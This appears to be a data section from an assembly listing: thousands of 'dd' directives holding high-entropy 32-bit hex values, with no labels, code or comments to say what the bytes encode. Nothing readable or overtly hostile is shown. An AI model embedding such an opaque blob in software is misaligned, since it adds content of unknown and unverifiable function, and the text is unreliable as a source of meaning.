dd 8B7EEB29h, 5BDD0B9Fh, 0B5E55D55h, 4B889FAEh, 681D309Bh
dd 0DC913273h, 1610D9AFh, 361C0852h, 0F9125F17h, 57502262h
dd 0F497279Ch, 0C044972Bh, 31C2586h, 35126101h, 3CCB48D4h
dd 323426FDh, 0C459F028h, 5B6366Ch, 75A8EA31h, 2EA401D2h
dd 2B5A235Eh, 0F1FC64B1h
dd 635C1E70h, 24100C2Ah, 683B5828h, 97F8DC65h, 9F5B5AF8h
dd 278658FEh, 0D8DDDC07h, 7B6005E9h, 0F84C741h, 9F5AF228h
dd 0C65260FCh, 0A10D20BAh, 6C98BD05h, 27FB858Bh, 0A599F479h
dd 724ED357h, 0A35A21E9h, 5521B431h, 5FEED468h, 0DC251BE5h
dd 10B77C94h, 0B41DBD01h, 0EE31653Ch, 0B35B2CC2h, 3D762EF6h
dd 1B49C0BEh, 507E2B43h, 0A1A694B6h, 0F5CE830Bh, 0D495129Ch
dd 6D70C045h, 0BE047DCFh, 78B3566Ah, 170FB8ABh, 0DCDA534Ah
dd 1C0F624Fh, 5C5AB970h, 41A8E4CCh, 66294082h, 62408B75h
dd 6B61FC02h, 5AE0A2ABh, 0C082DCC7h, 0BD86C389h, 0B52F3F4Ch
dd 58DCB1E0h, 227F11C9h, 0B9009900h, 0FFF45BE7h, 29C5BB39h
dd 91EFC2D8h, 0EBC0B4A3h, 63FDFEDAh, 0DC20F844h, 6D68145Bh
dd 0B1C2EB06h, 705F6670h, 3EE913D8h, 98FC20CDh, 495BA94Ah
dd 0C493D0F8h, 490C1D05h, 0B55A4CC5h, 0F3972CF0h, 0F18E3263h
dd 4C5E89D7h, 0E0505075h, 0B07495BCh, 0F5F842h, 9F9C4735h
dd 41501425h, 0DDD4977Bh, 54E91973h, 7F304E7Ch, 0BFB75B0Ah
dd 8A03D1A4h, 2D1DA77Eh, 79FEA616h, 0CC2DAD60h, 5EA4FA6Ch
dd 173BB4D6h, 7F683209h, 0E0559B25h, 0E871DEBAh, 26EB9552h
dd 0C2E5AD3h, 0E20486D2h, 0A8C21499h, 0A1BA0095h, 57E4C005h
dd 80C9FBA1h, 12F9BD7Ah, 9B293E67h, 68538072h, 0FBDB1939h
dd 42AFB95h, 0FF295BD8h, 4D439241h, 7A4807h, 137032BEh
dd 9C5556E9h, 4EC73EB8h, 25AAA995h, 25BDC07Eh, 377F8C93h
dd 55BD4F25h, 7DFA6AE4h, 542CED2Fh, 250CE898h, 4605447Eh
dd 41BE586Bh, 8B5F5AA6h, 0F69B6B04h, 460E4049h, 0AA36FFDDh
dd 0CB2971D8h, 11E0B3AAh, 0C278FE5Ch, 0DAC52F25h, 0BD3A77B2h
dd 6890C94Eh, 0FA93719Eh, 8A7F5EA1h, 2492125Eh, 0AA799DC9h
dd 8AC63E81h, 0F8846E36h, 9725CF0Fh, 5C8B76B3h, 8C5A5076h
dd 604766E4h, 2548ACD4h, 0A0055CBh, 68F2D1Bh, 58218AB5h
dd 0A72081C7h, 7DC6609Dh, 0E1BDCF52h, 0D5B260C5h, 5FD4AC0Dh
dd 0DB8687FDh, 0F1B73DA0h, 0F0AE139Dh, 0A20FBF0Ch, 44033219h
dd 75BB25D6h, 69678008h, 0C163468h, 830AC601h, 21027318h
dd 54495B54h, 0DE8F89EBh, 0F47A7356h, 0D2555ADCh, 975A203Fh
dd 9326E097h, 17BA8068h, 0D88D3839h, 0F4F09AFh, 0F16784C7h
dd 1A44E252h, 2E599F4h, 0C8A54AFFh, 9718DD32h, 1A2F364Dh
dd 0C347573Fh, 83BB5307h, 4068EB82h, 246B1A9Ch, 285450Ch
dd 92109069h, 3A89AE4Ah, 7C21DAF6h, 0D83F49ACh, 32E6D0D7h
dd 0E0E095E2h, 8019BC23h, 0C395455Ah, 0DDF7A152h, 92159E81h
dd 7E2DF3D6h, 0E435BF21h, 687CECA5h, 187A6B05h, 0ABF317BBh
dd 3B4A1061h, 0FC56F2Ch, 455F269h, 7E09E956h, 7F738DFFh
dd 0B6F204F0h, 15DD255Fh, 1679A7AAh, 7CF3298Ah, 5AE16B0Bh
dd 0CB21205Dh, 42972EA0h, 9277473Dh, 0EA28812h, 97F2AE8Bh
dd 0D05EF225h, 60E0F6C5h, 0EDC22DD9h, 0BA58C628h, 14C50A23h
dd 3109A474h, 0CB5AF669h, 5E2451F9h, 4429CF00h, 0BFD11018h
dd 9492907h, 3AD9CFFh, 713340Dh, 8194D031h, 64A8F72Ah
dd 41163820h, 0CA007DD5h, 43596B81h, 0E77227E9h, 83143C52h
dd 14D95CDEh, 5D45DEBh, 3BBF4A09h, 8F009h, 0D4233342h
dd 0E94D0946h, 57A9B6DAh, 0CA303268h, 1AC24FDFh, 0E0297B44h
dd 0D731C9Fh, 0D901642Ah, 5208071Ch, 4457DB57h, 275B06D9h
dd 904D1D43h, 6768CC0Ch, 1F330C17h, 6D2B2573h, 0F01AA664h
dd 0D7FE8404h, 75B64502h, 0F89E9376h, 0CECEFD89h, 5E4DF61Bh
dd 0CF2CEBE7h, 9D37FE51h, 0E0D10D83h, 408D5FBBh, 18F0F6B6h
dd 293EDD66h, 0F3A59BF7h, 9558A946h, 4FC76781h, 3B155363h
dd 0B8071CBDh, 0A0201970h, 7E391C25h, 515B767Fh, 32BAD281h
dd 3C6507E8h, 50A8C283h, 6F1C20FFh, 0DCF9312Dh, 0A2E57A8Ch
dd 3B096828h, 0D723415Dh, 0F386006h, 7083896h, 0A9661780h
dd 64A04BF6h, 0ADBE40D0h, 0AD7524C8h, 0E7635774h, 0EEE30094h
dd 0A2C21A7h, 0DE7EF746h, 0DA9ED22Eh, 0F59780C9h, 9D418010h
dd 4A086ED0h, 25A3ADE9h, 0AF09B97Ah, 93F9444h, 0F77A2967h
dd 0B8009167h, 1A0A620Eh, 0F9414BE9h, 90E23B92h, 681C07D7h
dd 4D697B6h, 16140805h, 754036A1h, 488862B2h, 7F053B67h
dd 1C4B6C42h, 0A168419Bh, 21CD2993h, 79794618h, 0DD85E915h
dd 0E3C11283h, 0EB1410A8h, 0F71B9946h, 7C218D3h, 0E24BD623h
dd 50427789h, 905F92C2h, 2821590Ah, 0BEB35EF0h, 31273BDEh
dd 89252916h, 389252D9h, 0EE4E3D3Bh, 0FA2A9139h, 67EFFC60h
dd 3C112468h, 0BFCD1F41h, 94EA5AA5h, 41C080Dh, 0BC348514h
dd 0D1FFB583h, 493EEE4h, 0F4588281h, 0EB5B0C97h, 0B75C073Ch
dd 0E925FCE6h, 577E19Fh, 0F0A8B87Ah, 0BC86E955h, 0E04F12B8h
dd 4EE8C7EFh, 5789830Bh, 922EE55Dh, 5F1EC2CBh, 9C2A8075h
dd 0B5388971h, 0D1EA88F0h, 5865C2BEh, 32C8FB01h, 0AB2A4A9Dh
dd 0B0B27E27h, 0DFC4F5DEh, 41F5681Ch, 0F016F72Dh, 5A95CB92h
dd 0F6CCF975h, 9EEECC2h, 0BB38E901h, 62600E68h, 10AB3958h
dd 8009D44Dh, 810F9FEBh, 0C9BF4AF0h, 2BC9F18Dh, 460B4149h
dd 0E460251Bh, 152F3CDAh, 7D6D12D6h, 0EEE24971h, 14149990h
dd 49084A17h, 1648E477h, 6111CC68h, 0CC273721h, 0E7090546h
dd 55E26350h, 997CD709h, 21234B3Bh, 6332C954h, 0AA2A0275h
dd 57ABC54h, 0D6F75BDEh, 0D1A7C2BBh, 0BE0106F6h, 34E5488h
dd 9E681C8h, 3AA70979h, 0FBEDCD05h, 41B4418Ch, 0EFEC14F1h
dd 0A1C5EB84h, 14545FFFh, 8279A0FAh, 352262AAh, 0B048E80Ah
dd 3A5AFE2Dh, 0C78312ADh, 89A32621h, 95BDE9A8h, 42C276B5h
dd 23DF0807h, 0FFCFA8Dh, 44D45DB9h, 5624EBF3h, 7F07F8C2h
dd 647FD51Ah, 23629F58h, 66FE1AC0h, 0A2263428h, 0D802F7FEh
dd 2E64072Dh, 2015DC67h, 1FCF2F90h, 3BE43748h, 0A5B0FEB0h
dd 77E5D12Ch, 3D000510h, 8907F91Ch, 6D27E9EEh, 61B3DDEBh
dd 0D24F4C76h, 88D40CECh, 0A2E2F95Eh, 0A5BED6E9h, 229DD05Eh
dd 0C1A60E6Dh, 3430691Fh, 25E93248h, 9B46BE8Dh, 594A9130h
dd 3D9A18C1h, 0D5AA8C72h, 794497ACh, 7302C325h, 4FF74219h
dd 0E8D14001h, 582E706Fh, 4B1E032Dh, 6C6EC6D6h, 8774C91Ch
dd 820CD4C1h, 7F515301h, 831341CEh, 0F15E3DE9h, 46097474h
dd 9BDB0B9Fh, 0EE8F92Eh, 0BAD9E7Ah, 62FE8956h, 0B6668493h
dd 60D4BD0Ch, 0EDD14C00h, 7D21CD81h, 44376CEh, 7B31C2E5h
dd 8007EF04h, 479BE76h, 29FA8930h, 0AB4C608Eh, 72EAC84Fh
dd 0B3A9F9A9h, 6B56EAC8h, 1285AA58h, 0C8AEF584h, 7113F7F6h
dd 6181762Dh, 0F97A5A0Ch, 7D1190A0h, 8F62A091h, 10557E47h
dd 78482575h, 0F9F0B541h, 8E168BE6h, 74E42507h, 636001EAh
dd 12E96221h, 49032B8h, 6C986D53h, 523806EAh, 0D8BDEF59h
dd 0EFEED2F3h, 0A0DBF1D1h, 1E201E06h, 40DAA825h, 0E6DDCF9Ah
dd 0ED9A8C6h, 474B507Dh, 8EBA0100h, 0B70B1877h, 735F5002h
dd 4B39B900h, 81494AFDh, 1746314h, 1FDDC3B7h, 3850EFAFh
dd 96D5A982h, 0C3DEC061h, 1F7498Dh, 3423F9B7h, 0E223EA02h
dd 0F8D025EFh, 0D1953314h, 0BDD6A88h, 95E80BEEh, 20D0F18h
dd 8E5FFD29h, 9955C6FCh, 13100112h, 0F1561BE5h, 2512879h
dd 0BE0B4BBBh, 0F370E162h, 13FFC31h, 3828EB8Ch, 23F5F614h
dd 78748B4h, 6A3BC2CBh, 51F6FBD1h, 5B5E08A0h, 29C6E2E3h
dd 0D52FF05Fh, 5EE890C9h
dd 16C44E68h, 0E4ABB8F0h, 0CBB99EAh, 0D4413C9Ch, 362F6BBCh
dd 70F54A69h, 0A947AE9h, 4B90A269h, 0C433DD9Dh, 0CD8C6BD3h
dd 26278C8h, 69399CCEh, 0E9E2DD4Bh, 0F0C235DEh, 9ACD689h
dd 7DD9E20Dh, 2FC8D272h, 34D91B58h, 2774C788h, 33C81F8h
dd 0E0BF02CDh, 568B8C80h, 0C82C93h, 35696EEAh, 934EE7E9h
dd 4CBDD890h, 923F50FBh, 2227D95h, 0EBA0B83Dh, 0D4558982h
dd 8559093Ch, 0F882945Fh, 28F2967Ch, 19F20754h, 60676808h
dd 3B2116CAh, 0AE02754Bh, 577FBB65h, 0B2AD870h, 0F7588492h
dd 4ED138EFh, 0E9210D99h, 289DB53Eh, 6B563422h, 10EF156h
dd 0CC8CB77Dh, 0BAEC9D29h, 5ACF35Dh, 554F475Ah, 71CC100h
dd 90D4963h, 6BEC2415h, 401E6476h, 930FB140h, 23A052Eh
dd 0E93B541Bh, 0D17FC594h, 9A75696Fh, 3FE2B8h, 6B1A9BC0h
dd 0C3AB02Fh, 1D4F611Eh, 2912520Ch, 90076CC7h, 0B9A4A50Fh
dd 0E6F513EBh, 326610E8h, 89190E4Ch, 0F5E5D196h, 0DA002A70h
dd 247D03BDh, 2EDD9041h, 655FDFB5h, 724BF29h, 0F685DD81h
dd 0C9AAC004h, 41307F36h, 4954A879h, 4480B82Fh, 887204A3h
dd 0A5ECACA0h, 26C2B5AAh, 17D216C3h, 0BA0599D0h, 71E42B8h
dd 0EC4AB3F8h, 0C37730A8h, 1E80EE81h, 0CA646B20h, 819E92A1h
dd 71280FEFh, 3B072C37h, 51E68FCBh, 0DC55AC29h, 87BB807Dh
dd 0B0E73132h, 1859C0C3h, 40B498A2h, 1516BBF1h, 0EA003E25h
dd 4F558AEBh, 60059045h, 7F1B41D3h, 3E803934h, 412824FEh
dd 2F831C1Eh, 1C739675h, 0F9EFCF80h, 840EEF5Ah, 22529278h
dd 0D81B99ABh, 0E73980DFh, 6FC79AF1h, 0AFB34520h, 6614E5D4h
dd 0DC2510D0h, 9E00E84Fh, 2BFB2A8Bh, 6FC5FC2Fh, 41201885h
dd 370ACAA3h, 0AB40CA78h, 2E017AC1h, 0E9D12936h, 0FD3A93A9h
dd 728EC7A0h, 28677D09h, 170D48ADh, 2FF495FAh, 0FDD90E2h
dd 0E0C0BD20h, 0E1093407h, 0FF283F2Ch, 88BBF7E8h, 0CC181895h
dd 14D3C4F7h, 6C04128Dh, 0EDAE5896h, 3BFD0545h, 0C1809FBEh
dd 4AF40F32h, 0D1A10629h, 73B54E48h, 4496BE88h, 2D790E2h
dd 0A890D42Eh, 6395C606h, 30C5214h, 1587588Dh, 6841EE29h
dd 140CA008h, 0F888C4BEh, 0B6F6250Ch, 60D298C5h, 641C555Ah
dd 4B332E20h, 2A93895Fh, 8B9FB4E2h, 835EF7h, 5127C870h
dd 447EE141h, 15DCA53Ah, 0B4F91717h, 7ABF18DCh, 95FD23Bh
dd 0D67B6061h, 5471E904h, 31099CFEh, 756A140h, 0C5335268h
dd 0BBACB269h, 0F6ACBFD6h, 2916D11Fh, 42CB915Fh, 707E48Ch
dd 0EB801FB3h, 9C8DDB0Ch, 79BD7F38h, 0BA47B0F4h, 3C228518h
dd 80A5D156h, 8161668h, 0AE173825h, 387F9EAEh, 5EB438E9h
dd 951231FAh, 0E5316A62h, 953F9C60h, 0C4A609DBh, 0B08F7229h
dd 0F0C062EBh, 0F890C0BFh, 0F1893E27h, 0C083607Fh, 170B2DFFh
dd 7943844Bh, 5EC66015h, 0F72F2B79h, 0BA172DDh, 0ADC1FE6h
dd 0CB42240Bh, 0F6E266DFh, 0AF06123Dh, 0CB50AA4Bh, 0A4267D08h
dd 0F1802D46h, 59CE306Dh, 0A3B11D51h, 73E98B28h, 0AD84D5F2h
dd 108B14CBh, 0E1C28C9h, 306831D3h, 0BDB332h, 236490Ah
dd 6AF7F387h, 253408DEh, 0D6B79970h, 0C75DC999h, 0BCE904CFh
dd 517CA44h, 180C6851h, 592FF38Eh, 44F61368h, 35CB0212h
dd 7043AC5h, 13C4FF0Fh, 8DA8AAh, 0F318DFEEh, 90CE2965h
dd 590881D7h, 2D0B892Ch, 4E8E346Bh, 63E9C822h, 0D0776F0h
dd 3C9B7BDCh, 5A69E9AFh, 88C69DC0h, 2F8CC64Eh, 5634391h
dd 0EC0AE957h, 0E27E31FEh, 812E7286h, 377661C3h, 10F38096h
dd 0E90A0826h, 0AFCF3FEEh, 0E80BEB1Bh, 80371FD0h, 0E908EA19h
dd 6BFD6228h, 1A405EF5h, 0DD2D6547h, 2325029h, 681F6452h
dd 52A06F9Ah, 341375B9h, 0B55AD8BFh, 0D7EDD330h, 28C5DA04h
dd 9AB20E9h, 674D5767h, 65AA0196h, 2F06AE3Bh, 259AA449h
dd 6AA25640h, 1D0FF928h, 881CF7E7h, 0DA705CB5h, 0BD93B1F7h
dd 82B04255h, 0B3CB4F61h, 0E7F8CA05h, 0ED0970A8h, 0F56CC07Dh
dd 0BF6B75A2h, 0C5FF4D92h, 0A1E79703h, 489E7F7Fh, 0ECE3047Dh
dd 876C5B62h, 0A36ED506h, 613D0F31h, 0E8D1663Ah, 0A92D0004h
dd 9F06346h, 5E9058C6h, 0EB571609h, 9C760019h, 121E8601h
dd 54F8DBE9h, 404B31D0h, 920EA88h, 0CC14B9Bh, 63089E7Bh
dd 0F910C07Dh, 4C15F83h, 0FA51354h, 0C62582F0h, 3AFD4565h
dd 55585E40h, 375B18Ch, 0C9C20BA0h, 447D5882h, 482BF832h
dd 0BBA5ECAAh, 96DC1CD1h, 0AC77352Ah, 9086BD4Ch, 1847B768h
dd 5E4FEBEAh, 1565F99Ah, 9428FB53h, 12700968h, 51025CD4h
dd 75098EEEh, 0F92D80C3h, 91BCDF58h, 59FAFE9Fh, 0FEA648B6h
dd 2191F3FEh, 4082746Ch, 0D7DE66CFh, 17557E4Eh, 5A132CABh
dd 68535001h, 7036794h, 0D6E5022Eh, 0FE40779Fh, 648ACEA3h
dd 736812D5h, 0C1F6E83Fh, 178F7A1Ch, 19C10502h, 0F9DFC27Bh
dd 0C3AEC270h, 504B9CFEh, 0D8034A0Bh, 615E05DAh, 0A2CD09E4h
dd 0F9EAF582h, 94531655h, 19E809B6h, 0D550BA75h, 5A5F08B2h
dd 2FA64163h, 90AF19C5h, 6652CC2Bh, 0FB5B3425h, 0D4524988h
dd 50629420h, 819A9152h, 35E52758h, 40AEE93Fh, 60FEC195h
dd 212F4737h, 0CEAAE0CFh, 14201004h, 0F2AB9B01h, 556ED7C2h
dd 0AC1F484Eh, 7D77E181h, 0F03F4FBEh, 0E32E0C97h, 0AA107D6Eh
dd 646C680Ch, 71409787h, 387B975Eh, 0DD30F54Bh, 7C559CE9h
dd 296320BFh, 70E7FB1Fh, 6662DE0Bh, 6C222E4Bh, 20AAC02Fh
dd 0A69844ACh, 0CA6ACD06h, 0BDA4E95Bh, 0DC4BABF6h, 0FEA922EDh
dd 44C06521h, 5CF0BE5Bh, 77029576h, 6AF9595Ah, 69FA5E49h
dd 2F8D6CDFh, 0F709CEE9h, 0C1B80EF7h, 608746Fh, 128872DFh
dd 0BE372F88h, 0FCB7448Dh, 7C57F06Ah, 0CBF4A686h, 31EE0A1h
dd 0E7CEF05Fh, 1B9C3E06h, 620AAC17h, 7F6AA2DFh, 55644C7Ch
dd 41E5C383h, 783C8FF9h, 2B715B89h, 78DA6049h, 44C32C39h
dd 71C017Ch, 0C42D2B7Ch, 3316C71Bh, 6F0AD001h, 0B4A89831h
dd 3FC9BE5Ah, 0E9C27422h, 9B08ACFFh, 0F33BD202h, 2BD2770Ch
dd 0A52FBA0Ch, 0F302124Fh, 2006D6F0h, 8641760h, 0F3F00706h
dd 0F8621CC6h, 0E0DC3101h, 0C0FE01F6h, 482D8D5h, 0C3281134h
dd 0BC3061E4h, 0C0C82598h, 75077BE8h, 95E07308h, 30C1B8C1h
dd 0F40BB7ECh, 7F2C780h, 5FCB5BDDh, 0A3F09010h, 0CD1B489Fh
dd 58D3BF97h, 60CFF027h, 2FBE16D5h, 7F4A1762h, 51653AFh
dd 0BB8DF446h, 0BFCB86D0h, 28A9254Dh, 0A07D2E62h, 11797EF4h
dd 0E293A020h, 0C0AE750Eh, 2C5B57F2h, 41DC0921h, 4BC3F8CEh
dd 0B027D875h, 0D8E91AAAh, 16FD829Eh, 4CDDFEFEh, 429D0FC2h
dd 35873F56h, 4D25ADE4h, 0E51A92B5h, 6D762DD9h, 0E9090953h
dd 935C346Ah, 0B26397BBh, 61986321h, 133A3FF9h, 0C89C0018h
dd 127AE51h, 8F037C95h, 22D22AE9h, 0DD743225h, 77A3CE81h
dd 0E4ED7F5Fh, 1E6A177Eh, 0D180C4Dh, 6AC1C575h, 3F8F615Bh
dd 0BF44BAF4h, 8C128EAh, 0B4D7A64Fh, 0E0C3AD3Fh, 0EC68015h
dd 5AF328DFh, 0C941893Fh, 88B24E7Dh, 8180EEFDh, 0AA8E3E58h
dd 9E4DE25Bh, 0F460E949h, 1B592DFBh, 4253F152h, 0C25C27E9h
dd 59DDB900h, 4F01779Eh, 0C92FB2CAh, 0B48588Fh, 13CD685Eh
dd 0BEF77099h, 0C9E93DA2h, 2BA14E58h, 0F09B043Bh, 44FC16DCh
dd 0B00826h, 6F6D0E31h, 0F734D187h, 478708D2h, 211507AEh
dd 855CFD53h, 9127CABBh, 68520451h, 3DAB7816h, 1CC603Fh
dd 0E0CC1E5Bh, 267807EAh
dd 53E7811Fh, 0E9C0607Dh, 0CEB27972h, 5E745B72h, 2CEF0898h
dd 0F01D10C9h, 43A8BB00h, 0E381418Ah, 0DE546202h, 41564B1Ah
dd 0B500CB55h, 0E8392837h, 12F0BE59h, 0D9EEB7FBh, 7C894794h
dd 25416871h, 8510C339h, 0D3011CDEh, 0FC5B2B8Bh, 0AE963EBh
dd 0B15100A4h, 4A8FB391h, 16BC1C30h, 445C61C6h, 81658210h
dd 0FD1B92EBh, 0B91E647Ah, 78AC4185h, 0E6A3108h, 30E6F188h
dd 872F0EC5h, 7F8BDDDFh, 514246DCh, 0B0D2B68Fh, 9D975F13h
dd 9377EC11h, 50E816D7h, 0DAF10DDBh, 527834E6h, 0D7AAFE4Bh
dd 68C66039h, 43B33881h, 90D1F40Bh, 82C20449h, 295A4055h
dd 0A221692Eh, 0DCBD24C0h, 18A04F16h, 9F448A12h, 0B2AF595Fh
dd 69998404h, 271DCEBAh, 5CF1E278h, 0E5076B6Eh, 18FD0BA5h
dd 0FE463E52h, 0E6810073h, 4A7414ECh, 0A061B3E9h, 407CBA28h
dd 9A4008C1h, 148A64A9h, 0CDD3297Fh, 16200841h, 38F35458h
dd 4A36F25Ch, 916D911Ch, 0AD2114C0h, 82399211h, 62B05804h
dd 0E4FBD7FDh, 0B1CAF50Eh, 43030610h, 13911060h, 306154Ch
dd 9D4B86F6h, 5BDF31C0h, 5F2CFEE6h, 571C2653h, 0FA7975FDh
dd 0A4D86BFBh, 6F9E09C2h, 7E025AECh, 0F95DB675h, 1CA54CEFh
dd 728A794Fh, 0ABD4018h, 0F0BD5E55h, 9971F37h, 222D00C9h
dd 5503310h, 0E132B914h, 425827E2h, 3753D5C8h, 0A232C6C2h
dd 0F9037BEBh, 62C589ACh, 12D13ADFh, 0DD59F755h, 0E0515D5Ah
dd 68DE108h, 816FDE68h, 3F6B2A32h, 576AF7C5h, 0CA50FEABh
dd 401DF59Eh, 42871593h, 2B3768C1h, 45ED61CDh, 0FA4B336Ch
dd 7D42E939h, 31F54888h, 13F8E4C7h, 35290B68h, 3BC19773h
dd 325B26F0h, 970141CCh, 7A597656h, 0FE0987E3h, 0F84F6D5Bh
dd 4291033Fh, 7C46DA2Fh, 0D601345Dh, 72C2D4C2h, 7BCAA4C4h
dd 0CE8C81DDh, 44FEF260h, 2FE274Eh, 0B7BDA55Bh, 0EA00D5Fh
dd 3D66F360h, 55B1F821h, 204E6F28h, 0A82BE957h, 2FBB1F11h
dd 0F410CC5Eh, 5004BD05h, 7B81AB5Fh, 247ADC19h, 3892ECA4h
dd 907BC164h, 0EC542292h, 0F281450Dh, 2380D26h, 5EFE8B4Fh
dd 0EF4BCBF7h, 0B0752509h, 97B2FF5Ch, 0F3D7544h, 604B1CC8h
dd 0BC90572Fh, 0C697C0A2h, 815020FCh, 68EA1390h, 0F5085625h
dd 2708B208h, 0AFCD9548h, 0A7832DDDh, 0D9416F2Ah, 413452E8h
dd 69DEFA44h, 4084CAA3h, 1A4A14A2h, 553AB446h, 10ED76A7h
dd 16A0876h, 8204B9Ch, 0CF54E93Dh, 0C49FC41h, 0F03F11EFh
dd 0D1092D74h, 0FDDB801Ah, 0A6FF3DC8h, 0B0B2C030h, 5EEE25BCh
dd 0E7A50Ah, 3374E908h, 34C78DD0h, 0D8C88F14h, 8B6BE101h
dd 56C12777h, 6DF100C1h, 31A35A5Eh, 88F9DCB5h, 0C1059AF9h
dd 0F2C206E2h, 0B1A0DF58h, 0DD0F759h, 0DC19F83Fh, 1AC314ECh
dd 7557CBBCh, 925D196h, 62BEFC80h, 917AB121h, 1CA08748h
dd 5E65FF80h, 59D5FA94h, 42C646Fh, 8FABC697h, 770D2CFFh
dd 0BC655CA7h, 91C0F396h, 3BBA2E62h, 0DFEF3E31h, 14704D34h
dd 0ED0DE069h, 3606E300h, 0E943652Fh, 20A285Ah, 0DF2D8A21h
dd 1F682521h, 267E5476h, 0E9250D44h, 0BCF8F934h, 82410725h
dd 1603375Ah, 3FB47D5Eh, 548A02EFh, 0CF291D56h, 8072142h
dd 94778901h, 0E90DC24Bh, 8654B169h, 17EBF650h, 977597Dh
dd 0A0DB975Ah, 0EBE2010Bh, 1ED1B936h, 3F0CB32Bh, 0B8A84A83h
dd 57385DC6h, 1BD4C305h, 0A2AA6BA2h, 0D8BAC937h, 0C4E595EAh
dd 21AF52Ch, 4791DDEDh, 3A122F03h, 287BD2E1h, 4540D064h
dd 0D4B85B50h, 0BE3CC033h, 35F4232h, 840BDADh, 0BB5AD658h
dd 8F4C03CFh, 341568B0h, 0CC5BC730h, 287C3EC5h, 0E4C02A44h
dd 860B2FB0h, 0F3775D3Ah, 218D2794h, 82706969h, 787F6CE9h
dd 68F90946h, 42440B51h, 0E99C5004h, 32BE7EEDh, 0A6D629F3h
dd 0B785EB9Dh, 45C0BC42h, 5A1D26BDh, 0DC78E07Ah, 4CBA0E02h
dd 92CE9h, 471CFC68h, 84C24848h, 9DAF5931h, 5AE7989h, 552827CFh
dd 77E80B25h, 0FC65740Ah, 1FBA08BFh, 8FEE4028h, 0E34FC363h
dd 0D15DBA68h, 182A80FFh, 0E2D1178Ah, 352BE91Ah, 66C5601Eh
dd 0C0864F58h, 0F18059A1h, 0C30FEC73h, 9CB281Bh, 5CA8E1EBh
dd 0F9B0AE05h, 258BA862h, 7A647B9Dh, 0A66E5431h, 2F123EBEh
dd 0BD6323A5h, 0E905061Fh, 25188D3h, 82FD50CFh, 692FE141h
dd 2FD869B3h, 0E9AE81AAh, 893E2C8Dh, 8A10E0C7h, 592B1495h
dd 0ED5F29ABh, 5A4B0161h, 2D5828C4h, 5AC40644h, 2FDDFDAEh
dd 0DD601A52h, 0A0573485h, 482E6810h, 5660525Dh, 120783BEh
dd 0F25243DBh, 0AC5F2E3Ah, 506C7725h, 790B2798h, 0FF28C851h
dd 12088428h, 0C65AAD5Ah, 0EBB7DB4h, 473A68BDh, 636F3278h
dd 0E910980Bh, 0FA617241h, 9C2C749Bh, 0ED663C20h, 13B11C02h
dd 266AE914h, 9510C554h, 0E2005D26h, 665F152Ch, 0BA5F4A3Dh
dd 0FE4F858Ah, 75BFA974h, 0F604230h, 0B184BF6Bh, 4453EA91h
dd 6D8DED0Ah, 5E1F8A02h, 0F08B7D50h, 0BA0805Eh, 84145B58h
dd 0AA179280h, 0C851888Ch, 0BA01D6CAh, 48E45B82h, 8216F160h
dd 0F4BC5257h, 0DD8555B3h, 6AF4A720h, 167236FEh, 3AC1D7Dh
dd 63B65266h, 0F40DC6D1h, 0C00F0EF6h, 39FE06E6h, 0EEF8E516h
dd 0EC70E1C5h, 4E42BF5Ah, 125DD257h, 5D93BDE9h, 5BDE8B6Fh
dd 4468B3B0h, 0E8C26CB7h, 53E1880Eh, 374933F0h, 93E73FC9h
dd 4B4FAB9Ah, 2B8ACBD3h, 2D80759Eh, 66212CF6h, 568530Ah
dd 1A88DF51h, 0BA093D71h, 0B592AE4Bh, 0FAFDBEDDh, 60309E0Ch
dd 374A19DCh, 0C9ACC4C9h, 0A0CD4950h, 381CDA88h, 0F8C6830Fh
dd 9AA20ABAh, 27CB7688h, 3080C230h, 24F40610h, 6D1D8EB7h
dd 4F106EBh, 1243C3FCh, 1F053A1Eh, 4C5249B9h, 8B860F5h
dd 40BD25Bh, 127DD6B7h, 38597209h, 0BA5295h, 16AC56DCh
dd 3EAF281h, 0E97D0E06h, 0FED8A3Dh, 825009F6h, 0F2F53165h
dd 0EE0185C5h, 30378DEBh, 0B64026BFh, 0A64895BBh, 3EEBD829h
dd 65119C80h, 53623773h, 41171080h, 0D5A08978h, 0A7A6B22Fh
dd 0D8671EF0h, 0E51F404Ah, 0F2BAF0D4h, 149102E8h, 6D5F38F3h
dd 8B3A267Eh, 6DDDE0D3h, 0B519A8C2h, 0CB787A89h, 40388F24h
dd 7C3BF2CDh, 0E10BF7E5h, 14124C68h, 7B6C2581h, 8118C551h
dd 14637634h, 0B25E7393h, 5590740h, 19E9F231h, 0AF77FFB7h
dd 31DB0B2h, 7EBBFC30h, 0DFD21954h, 97B8CB5Ah, 0B2D85AC5h
dd 10AB483Bh, 355AF873h, 2745BA2Ah, 3DB6A124h, 0E1685605h
dd 5882985Ch, 797C2F07h, 7750CA81h, 2DE966E0h, 0DFDB15ECh
dd 9079E9C1h, 0E072FA2Bh, 16570983h, 49E919C5h, 4177D1B2h
dd 37ACAFEh, 53F2EF59h, 0D8D28Ch, 0ECC0D4F6h, 0C1CC8005h
dd 0D8EDD9E7h, 0E92D60C4h, 177820Bh, 3334C0D8h, 98258499h
dd 5AF2D490h, 39E97654h, 7628C5F4h, 59CB0902h, 2540EBD1h
dd 0EC2D78E6h, 5EBA555Bh, 26757380h, 0E8B70E10h, 0C3B7A73h
dd 0D301BD56h, 0B480B0A4h, 0E2302EDEh, 26801D29h, 9D011565h
dd 5ED04E70h, 6135C830h, 3016B412h, 0D72D4D1Ch, 0AC278A96h
dd 20A3E676h, 495E51C9h, 447764C0h, 960CC05Ch, 1797AF4h
dd 7092D8DFh, 53C9B3E8h, 63A2DE00h, 36BE0990h, 0B3A4680Fh
dd 771C69A3h, 136D364h, 0B80F3F7Ah, 95902F7Bh, 2C1716F3h
dd 163EBBE3h, 663449D8h, 0BEC8A05Eh, 8ECCD752h, 77EA8B2Eh
dd 0DDD10189h, 0A233D466h, 58083877h, 104BCC0h, 23E2E68h
dd 0C9A6C2E9h, 0E5C9FC11h, 243C37E5h, 4E8CCC4Ah, 0F69507FCh
dd 9C72AD53h
dd 10D2501h, 0F7054528h, 0B5FA8160h, 76E9BFE0h, 5E92BA5Eh
dd 1884D7BEh, 0E4B6BC5Bh, 0CA585FD1h, 2603BD64h, 380474Bh
dd 0F7315AD7h, 85FBFFAh, 0EA2EDA0Eh, 2FF1E959h, 738A3Fh
dd 60F86BF1h, 265B4EBBh, 100C2762h, 0D680A30h, 57898547h
dd 0A51E79A3h, 0B1856877h, 11733223h, 7377A738h, 2D680E4Dh
dd 84A9ADF6h, 0CAFB2701h, 206926Fh, 228B9FC1h, 0CE2714A5h
dd 726E5CC9h, 69E7F157h, 5DF29784h, 0C867F503h, 9D0C044Fh
